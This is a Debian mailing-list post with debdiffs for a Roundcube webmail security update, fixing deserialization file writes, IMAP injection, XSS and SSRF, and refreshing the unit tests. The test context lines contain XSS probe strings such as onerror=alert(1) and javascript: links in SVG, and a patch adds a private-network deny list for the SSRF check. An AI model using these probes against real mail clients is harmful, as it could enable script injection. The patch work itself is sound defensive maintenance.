[Pkg-roundcube-maintainers] Bug#1131182: roundcube: Multiple security vulnerabilities

Guilhem Moulin guilhem at debian.org
Tue Mar 24 13:28:19 GMT 2026


Hi,

On Wed, 18 Mar 2026 at 17:19:35 +0100, Guilhem Moulin wrote:
> AFAIK no CVE-ID have been published for these issues.  I just requested some.

Unfortunately the CVE IDs have not been assigned yet and upstream is not
interested in the process (incl. embargo and pre-disclosure to distros) [0].

The first issue is particularly serious, although it “only” affects
instances using redis or memcache as session handler.  IMHO it makes
sense to upload a fix ASAP, even if the CVE IDs have not been assigned
yet.

Here are tested debdiffs for trixie-security and bookworm-security.  As
for the previous uploads, I suggest to follow 1.6.x for trixie-security
(the upstream diff [1] is pretty targeted already) and backport targeted
fixes for bookworm-security.

If the CVE IDs are assigned before the upload, I'll adjust d/changelog,
patch names and DEP-3 headers accordingly, but I don't foresee any code
change.

-- 
Guilhem.

[0] Latest https://github.com/roundcube/roundcubemail/issues/10123
[1] https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14
-------------- next part --------------
diffstat for roundcube-1.6.13+dfsg roundcube-1.6.14+dfsg

 CHANGELOG.md                                                                   |   12 
 composer.json-dist                                                             |    3 
 debian/changelog                                                               |   23 +
 debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch            |   75 +++++
 debian/patches/Fix-FTBFS-with-phpunit-11.patch                                 |  138 ++++------
 debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch |   53 +++
 debian/patches/fix-install-path.patch                                          |    4 
 debian/patches/map-sqlite3-to-sqlite.patch                                     |    2 
 debian/patches/series                                                          |    2 
 debian/patches/update-composer.patch                                           |   14 -
 plugins/password/password.php                                                  |    4 
 program/actions/mail/index.php                                                 |    2 
 program/actions/mail/search.php                                                |    4 
 program/actions/mail/send.php                                                  |    3 
 program/actions/utils/modcss.php                                               |    2 
 program/include/iniset.php                                                     |   11 
 program/include/rcmail_action.php                                              |    3 
 program/lib/Roundcube/db/mysql.php                                             |    5 
 program/lib/Roundcube/rcube_db.php                                             |    6 
 program/lib/Roundcube/rcube_utils.php                                          |   48 +++
 program/lib/Roundcube/rcube_washtml.php                                        |   45 ++-
 public_html/plugins/password/password.php                                      |    4 
 tests/Framework/DB.php                                                         |    4 
 tests/Framework/DBMysql.php                                                    |   16 -
 tests/Framework/DBPgsql.php                                                    |    8 
 tests/Framework/Utils.php                                                      |   37 ++
 tests/Framework/Washtml.php                                                    |   33 +-
 27 files changed, 440 insertions(+), 121 deletions(-)

diff -Nru roundcube-1.6.13+dfsg/CHANGELOG.md roundcube-1.6.14+dfsg/CHANGELOG.md
--- roundcube-1.6.13+dfsg/CHANGELOG.md	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/CHANGELOG.md	2026-03-18 12:35:19.000000000 +0100
@@ -2,6 +2,18 @@
 
 ## Unreleased
 
+- Fix Postgres connection using IPv6 address (#10104)
+- Security: Fix pre-auth arbitrary file write via unsafe deserialization in redis/memcache session handler
+- Security: Fix bug where a password could get changed without providing the old password
+- Security: Fix IMAP Injection + CSRF bypass in mail search
+- Security: Fix remote image blocking bypass via various SVG animate attributes
+- Security: Fix remote image blocking bypass via a crafted body background attribute
+- Security: Fix fixed position mitigation bypass via use of !important
+- Security: Fix XSS issue in a HTML attachment preview
+- Security: Fix SSRF + Information Disclosure via stylesheet links to a local network hosts
+
+## Release 1.6.13
+
 - Managesieve: Fix handling of string-list format values for date tests in Out of Office (#10075)
 - Fix remote image blocking bypass via SVG content reported by nullcathedral
 - Fix CSS injection vulnerability reported by CERT Polska
diff -Nru roundcube-1.6.13+dfsg/composer.json-dist roundcube-1.6.14+dfsg/composer.json-dist
--- roundcube-1.6.13+dfsg/composer.json-dist	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/composer.json-dist	2026-03-18 12:35:19.000000000 +0100
@@ -20,7 +20,8 @@
         "roundcube/rtf-html-php": "~2.1",
         "masterminds/html5": "~2.7.0",
         "bacon/bacon-qr-code": "^2.0.0",
-        "guzzlehttp/guzzle": "^7.3.0"
+        "guzzlehttp/guzzle": "^7.3.0",
+        "mlocati/ip-lib": "^1.22.0"
     },
     "require-dev": {
         "phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/debian/changelog roundcube-1.6.14+dfsg/debian/changelog
--- roundcube-1.6.13+dfsg/debian/changelog	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/changelog	2026-03-20 18:54:25.000000000 +0100
@@ -1,3 +1,26 @@
+roundcube (1.6.14+dfsg-0+deb13u1) trixie-security; urgency=high
+
+  * New upstream security and bugfix release (closes: #1131182).
+    + Fix pre-auth arbitrary file write via unsafe deserialization in
+      redis/memcache session handler.
+    + Fix bug where a password could get changed without providing the old
+      password.
+    + Fix IMAP Injection + CSRF bypass in mail search.
+    + Fix remote image blocking bypass via various SVG animate attributes.
+    + Fix remote image blocking bypass via a crafted <body> background
+      attribute.
+    + Fix fixed position mitigation bypass via use of `!important`.
+    + Fix XSS vulnerability in HTML attachment preview.
+    + Fix SSRF and information disclosure vulnerability via stylesheet links
+      pointing to a local network hosts.
+  * Refresh d/patches.
+  * Cherry-pick upstream regression fix where mail search would fail on
+    non-ascii search criteria.
+  * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+    not present in trixie.
+
+ -- Guilhem Moulin <guilhem at debian.org>  Fri, 20 Mar 2026 18:54:25 +0100
+
 roundcube (1.6.13+dfsg-0+deb13u1) trixie-security; urgency=high
 
   * New upstream security and bugfix release (closes: #1127447).
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch	2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,75 @@
+From: Guilhem Moulin <guilhem at debian.org>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian.  The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue.  While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Forwarded: not-needed
+---
+ composer.json-dist                    |  3 +--
+ program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++-------------
+ 2 files changed, 14 insertions(+), 15 deletions(-)
+
+diff --git a/composer.json-dist b/composer.json-dist
+index 1807004..ca3de26 100644
+--- a/composer.json-dist
++++ b/composer.json-dist
+@@ -16,8 +16,7 @@
+         "pear-pear.php.net/net_sieve": ">=1.4.5",
+         "roundcube/plugin-installer": ">=0.3.1",
+         "masterminds/html5": ">=2.7.0",
+-        "guzzlehttp/guzzle": ">=7.3.0",
+-        "mlocati/ip-lib": ">=1.22.0"
++        "guzzlehttp/guzzle": ">=7.3.0"
+     },
+     "require-dev": {
+         "phpunit/phpunit": "^9"
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 5e8ac84..e3409b4 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+ 
+-use IPLib\Factory;
+-
+ /*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+@@ -435,20 +433,22 @@ class rcube_utils
+         if (is_string($host)) {
+             // TODO: This is pretty fast, but a single message can contain multiple links
+             // to the same target, maybe we should do some in-memory caching.
+-            if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++            if ($address = @inet_pton($host = trim($host, '[]'))) {
+                 $nets = [
+-                    '127.0.0.0/8',    // loopback
+-                    '10.0.0.0/8',     // RFC1918
+-                    '172.16.0.0/12',  // RFC1918
+-                    '192.168.0.0/16', // RFC1918
+-                    '169.254.0.0/16', // link-local / cloud metadata
+-                    '::1/128',
+-                    'fc00::/7',
++                    ['127.0.0.0',   '127.255.255.255'], // loopback
++                    ['10.0.0.0',    '10.255.255.255'],  // RFC1918
++                    ['172.16.0.0',  '172.31.255.255'],  // RFC1918
++                    ['192.168.0.0', '192.168.255.255'], // RFC1918
++                    ['169.254.0.0', '169.254.255.255'], // link-local / cloud metadata
++                    ['::1',         '::1'],
++                    ['fc00::',      'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'],
+                 ];
+ 
+-                foreach ($nets as $net) {
+-                    $range = Factory::parseRangeString($net);
+-                    if ($range->contains($address)) {
++                foreach ($nets as [$range_start, $range_end]) {
++                    $range_start = @inet_pton($range_start);
++                    $range_end   = @inet_pton($range_end);
++                    if (is_string($range_start) && strcmp($range_start, $address) <= 0 &&
++                            is_string($range_end) && strcmp($range_end, $address) >= 0) {
+                         return true;
+                     }
+                 }
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch	2026-03-20 18:54:25.000000000 +0100
@@ -161,7 +161,7 @@
  tests/Framework/Csv2vcard.php                      |  18 +-
  tests/Framework/DB.php                             |  27 +--
  tests/Framework/DBMssql.php                        |  14 +-
- tests/Framework/DBMysql.php                        |  14 +-
+ tests/Framework/DBMysql.php                        |  11 +-
  tests/Framework/DBOracle.php                       |  14 +-
  tests/Framework/DBPgsql.php                        |  22 ++-
  tests/Framework/DBSqlite.php                       |  14 +-
@@ -222,7 +222,7 @@
  tests/StderrMock.php                               |  15 +-
  tests/StorageMock.php                              |   4 +-
  tests/bootstrap.php                                |  21 ++-
- 213 files changed, 2502 insertions(+), 1796 deletions(-)
+ 213 files changed, 2501 insertions(+), 1794 deletions(-)
 
 diff --git a/plugins/acl/tests/Acl.php b/plugins/acl/tests/Acl.php
 index 94e0bd4..0ad987f 100644
@@ -7405,7 +7405,7 @@
          $result = $csv->export();
  
 diff --git a/tests/Framework/DB.php b/tests/Framework/DB.php
-index 3ac4f13..853489d 100644
+index 3700564..b697cf4 100644
 --- a/tests/Framework/DB.php
 +++ b/tests/Framework/DB.php
 @@ -1,12 +1,17 @@
@@ -7528,16 +7528,17 @@
      }
  }
 diff --git a/tests/Framework/DBMysql.php b/tests/Framework/DBMysql.php
-index 1d5a3fc..79fe7d1 100644
+index ce7e68d..75dcc8f 100644
 --- a/tests/Framework/DBMysql.php
 +++ b/tests/Framework/DBMysql.php
-@@ -1,13 +1,19 @@
+@@ -1,13 +1,20 @@
  <?php
  
 +namespace Roundcube\Tests\Framework;
 +
 +use PHPUnit\Framework\Attributes\Group;
 +use PHPUnit\Framework\TestCase;
++use function Roundcube\Tests\invokeMethod;
 +
  /**
   * Test class to test rcube_db_mysql class
@@ -7551,19 +7552,8 @@
 +#[Group('mysql')]
 +class Framework_DBMysql extends TestCase
  {
- 
-     /**
-@@ -15,8 +21,8 @@ class Framework_DBMysql extends PHPUnit\Framework\TestCase
-      */
-     function test_class()
+     public function test_dsn_string()
      {
--        $object = new rcube_db_mysql('test');
-+        $object = new \rcube_db_mysql('test');
- 
--        $this->assertInstanceOf('rcube_db_mysql', $object, "Class constructor");
-+        $this->assertInstanceOf(\rcube_db_mysql::class, $object, "Class constructor");
-     }
- }
 diff --git a/tests/Framework/DBOracle.php b/tests/Framework/DBOracle.php
 index 8fff546..cb2cab9 100644
 --- a/tests/Framework/DBOracle.php
@@ -7602,7 +7592,7 @@
      }
  }
 diff --git a/tests/Framework/DBPgsql.php b/tests/Framework/DBPgsql.php
-index 86f30a8..edc7bef 100644
+index f081c25..dd505a3 100644
 --- a/tests/Framework/DBPgsql.php
 +++ b/tests/Framework/DBPgsql.php
 @@ -1,22 +1,30 @@
@@ -10006,7 +9996,7 @@
          $idents = $user->list_identities();
  
 diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
-index e65b5a9..8809da2 100644
+index 3baa861..a27829c 100644
 --- a/tests/Framework/Utils.php
 +++ b/tests/Framework/Utils.php
 @@ -1,11 +1,15 @@
@@ -10203,8 +10193,8 @@
          $this->assertEquals("#rcmbody .test { position: absolute; top: 0; }", $mod, "Replace position:fixed with position:absolute (5)");
  
          // missing closing brace
-@@ -281,27 +290,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
-         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
+@@ -284,27 +293,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
  
          // allow data URIs with images (#5580)
 -        $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
@@ -10237,7 +10227,7 @@
          $this->assertSame("#rcmbody { color: red; }", $mod);
  
          $style = 'body { background:url(alert('URL!')); }';
-@@ -335,7 +344,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -338,7 +347,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
              :root * { color: red; }
              :root > * { top: 0; }
          ';
@@ -10246,7 +10236,7 @@
  
          $this->assertStringContainsString('#rc .testone', $mod);
          $this->assertStringContainsString('#rc .testthree.testfour', $mod);
-@@ -353,24 +362,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -356,24 +365,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
  
      function test_xss_entity_decode()
      {
@@ -10276,7 +10266,7 @@
      {
          return [
              [
-@@ -445,9 +454,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -448,9 +457,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_css_block
       */
@@ -10288,7 +10278,7 @@
      }
  
      /**
-@@ -462,7 +472,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -465,7 +475,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($data as $text => $res) {
@@ -10297,7 +10287,7 @@
              $this->assertSame($res, $result);
          }
      }
-@@ -475,7 +485,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -478,7 +488,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          $data = ['', 'a,b,c', 'a', ',', ',a'];
  
          foreach ($data as $text) {
@@ -10306,7 +10296,7 @@
              $this->assertSame(explode(',', $text), $result);
          }
      }
-@@ -490,7 +500,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -493,7 +503,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($input as $idx => $value) {
@@ -10315,7 +10305,7 @@
          }
  
          $input = [
-@@ -498,7 +508,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -501,7 +511,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($input as $idx => $value) {
@@ -10324,7 +10314,7 @@
          }
      }
  
-@@ -508,13 +518,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -511,13 +521,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
      function test_get_input_string()
      {
          $_GET = [];
@@ -10341,7 +10331,7 @@
      }
  
      /**
-@@ -522,18 +532,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -525,18 +535,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_is_simple_string()
      {
@@ -10372,7 +10362,7 @@
      }
  
      /**
-@@ -548,7 +558,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -551,7 +561,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $v) {
@@ -10381,7 +10371,7 @@
              $this->assertSame($v[2], $result);
          }
      }
-@@ -578,7 +588,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10390,7 +10380,7 @@
              $this->assertSame($ts, $result, "Error parsing date: $datetime");
          }
      }
-@@ -605,7 +615,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -642,7 +652,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10399,7 +10389,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d') : false, "Error parsing date: $datetime");
          }
  
-@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -652,7 +662,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10408,7 +10398,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s') : false, "Error parsing date: $datetime");
          }
  
-@@ -624,7 +634,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -661,7 +671,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10417,7 +10407,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s O') : false, "Error parsing date: $datetime");
          }
      }
-@@ -634,17 +644,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -671,17 +681,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_anytodatetime_timezone()
      {
@@ -10438,7 +10428,7 @@
              if ($result) $result->setTimezone($tz);  // move to target timezone for comparison
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i') : false, "Error parsing date: $datetime");
          }
-@@ -663,7 +673,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -700,7 +710,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $data) {
@@ -10447,7 +10437,7 @@
              $this->assertSame($data[2], $result, "Error formatting date: " . $data[0]);
          }
      }
-@@ -682,7 +692,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -719,7 +729,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $input => $output) {
@@ -10456,7 +10446,7 @@
              $this->assertSame($output, $result);
          }
      }
-@@ -707,7 +717,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -744,7 +754,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $input => $output) {
@@ -10465,7 +10455,7 @@
              $this->assertSame($output, $result, "Error normalizing '$input'");
          }
      }
-@@ -730,7 +740,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -767,7 +777,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $idx => $params) {
@@ -10474,7 +10464,7 @@
              $this->assertSame($params[2], $result, "words_match() at index $idx");
          }
      }
-@@ -756,7 +766,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -793,7 +803,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          }
  
          foreach ($test as $input => $output) {
@@ -10483,7 +10473,7 @@
              $this->assertSame($output, $result);
          }
      }
-@@ -766,17 +776,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -803,17 +813,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_random_bytes()
      {
@@ -10507,7 +10497,7 @@
      {
  
          /*
-@@ -813,9 +823,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -850,9 +860,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * @param string $encoded Encoded email address
       * @dataProvider data_idn_convert
       */
@@ -10519,7 +10509,7 @@
      }
  
      /**
-@@ -825,9 +836,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -862,9 +873,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * @param string $encoded Encoded email address
       * @dataProvider data_idn_convert
       */
@@ -10531,7 +10521,7 @@
      }
  
      /**
-@@ -835,14 +847,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -872,14 +884,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_idn_to_ascii_special()
      {
@@ -10549,7 +10539,7 @@
      {
          return [
              ['%z', 'hostname', 'hostname'],
-@@ -857,15 +869,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -894,15 +906,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_host
       */
@@ -10568,7 +10558,7 @@
      {
          return [
              [['hostname', null, null], ['hostname', null, null]],
-@@ -888,15 +901,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -925,15 +938,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_host_uri
       */
@@ -10587,7 +10577,7 @@
          return [
              ['both',    'Fwd: Re: Test subject both', 'Test subject both'],
              ['both',    'Re: Fwd: Test subject both', 'Test subject both'],
-@@ -914,8 +928,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -951,8 +965,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * 
       * @dataProvider data_remove_subject_prefix
       */
@@ -10598,7 +10588,7 @@
      }
  
      /**
-@@ -923,13 +938,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -960,13 +975,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_server_name()
      {
@@ -10615,7 +10605,7 @@
      }
  
      /**
-@@ -939,31 +954,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -976,31 +991,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
      {
          $_SERVER['test'] = 'test.com';
  
@@ -10814,7 +10804,7 @@
  
          $this->assertSame($result, "BEGIN:VCARD\r\nVERSION:3.0\r\nFN:\r\nN:;;;;\r\nEND:VCARD");
 diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
-index ef324f8..e8e5a4a 100644
+index ff2ad0f..6d5fc29 100644
 --- a/tests/Framework/Washtml.php
 +++ b/tests/Framework/Washtml.php
 @@ -1,11 +1,14 @@
@@ -10951,8 +10941,8 @@
 +        $washer = new \rcube_washtml(['html_elements' => ['body']]);
          $washed = $washer->wash($html);
  
-         $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
-@@ -277,7 +280,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+         $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
+@@ -284,7 +287,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = "<p style=\"line-height: 1; height: 10\">a</p>";
  
@@ -10961,7 +10951,7 @@
          $washed = $washer->wash($html);
  
          $this->assertMatchesRegularExpression('|line-height: 1;|', $washed, "Untouched line-height (#1489917)");
-@@ -286,7 +289,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -293,7 +296,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html     = "<div style=\"padding: 0px\n   20px;border:1px solid #000;\"></div>";
          $expected = "<div style=\"padding: 0px 20px; border: 1px solid #000\"></div>";
  
@@ -10970,7 +10960,7 @@
          $washed = $washer->wash($html);
  
          $this->assertSame($this->cleanupResult($washed), $expected, 'White-space and new-line characters handling');
-@@ -300,7 +303,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -307,7 +310,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style=aaa:'\"/onerror=alert(1)//'>";
          $exp  = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
  
@@ -10979,7 +10969,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS issue (#1490227)");
-@@ -308,7 +311,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -315,7 +318,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style=aaa:'"/onerror=alert(1)//'>";
          $exp  = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
  
@@ -10988,7 +10978,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS issue (#1490227)");
-@@ -326,7 +329,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -333,7 +336,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_title()
      {
@@ -10997,7 +10987,7 @@
  
          $html = "<html><head><title>title1</title></head><body><p>test</p></body>";
          $washed = $washer->wash($html);
-@@ -372,7 +375,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -379,7 +382,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
    <!-- animate blocked -->
  </svg>';
  
@@ -11006,7 +10996,7 @@
          $washed = $washer->wash($svg);
  
          $this->assertSame($washed, $exp, "SVG content");
-@@ -381,7 +384,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -388,7 +391,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      /**
       * Test cases for SVG tests
       */
@@ -11015,7 +11005,7 @@
      {
          $svg1 = "<svg id='x' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>";
  
-@@ -508,9 +511,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -529,9 +532,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_wash_svg_tests
       */
@@ -11027,7 +11017,7 @@
          $washed = $washer->wash($input);
  
          $this->assertSame($expected, $this->cleanupResult($washed), "SVG content");
-@@ -519,7 +523,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -540,7 +544,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      /**
       * Test cases for various XSS issues
       */
@@ -11036,7 +11026,7 @@
      {
          return [
              [
-@@ -574,9 +578,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -595,9 +599,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_wash_xss_tests
       */
@@ -11048,7 +11038,7 @@
          $washed = $washer->wash($input);
  
          $this->assertSame($expected, $this->cleanupResult($washed), "XSS issues");
-@@ -590,7 +595,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -611,7 +616,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style='position:fixed' /><img style=\"position:/**/ fixed; top:10px\" />";
          $exp  = "<img style=\"position: absolute\" /><img style=\"position: absolute; top: 10px\" />";
  
@@ -11057,7 +11047,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Position:fixed (#5264)");
-@@ -634,7 +639,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -655,7 +660,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
                  <annotation encoding="TeX">I_D = \frac{1}{2} k_n \frac{W}{L} (V_{GS}-V_t)^2</annotation>
              </semantics></math>';
  
@@ -11066,7 +11056,7 @@
          $washed = $washer->wash($mathml);
  
          // remove whitespace between tags
-@@ -651,7 +656,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -672,7 +677,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = "<input type=\"image\" src=\"http://TRACKING_URL/\">";
  
@@ -11075,7 +11065,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue($washer->extlinks);
-@@ -659,7 +664,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -680,7 +685,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
  
          $html = "<video src=\"http://TRACKING_URL/\">";
  
@@ -11084,7 +11074,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue($washer->extlinks);
-@@ -680,14 +685,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -701,14 +706,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($html as $item) {
@@ -11101,7 +11091,7 @@
              $washed = $washer->wash($item[0]);
  
              $this->assertFalse($washer->extlinks);
-@@ -698,7 +703,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -719,7 +724,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = '<textarea><p style="x:</textarea><img src=x onerror=alert(1)>">';
  
@@ -11110,7 +11100,7 @@
          $washed = $washer->wash($html);
  
          $this->assertStringNotContainsString('onerror=alert(1)>', $washed);
-@@ -710,7 +715,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -731,7 +736,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_css_prefix()
      {
@@ -11119,7 +11109,7 @@
  
          $html   = '<p id="my-id">'
              . '<label for="my-other-id" class="my-class1 my-class2">test</label>'
-@@ -738,14 +743,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -759,14 +764,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = '<p><?xml:namespace prefix = "xsl" /></p>';
  
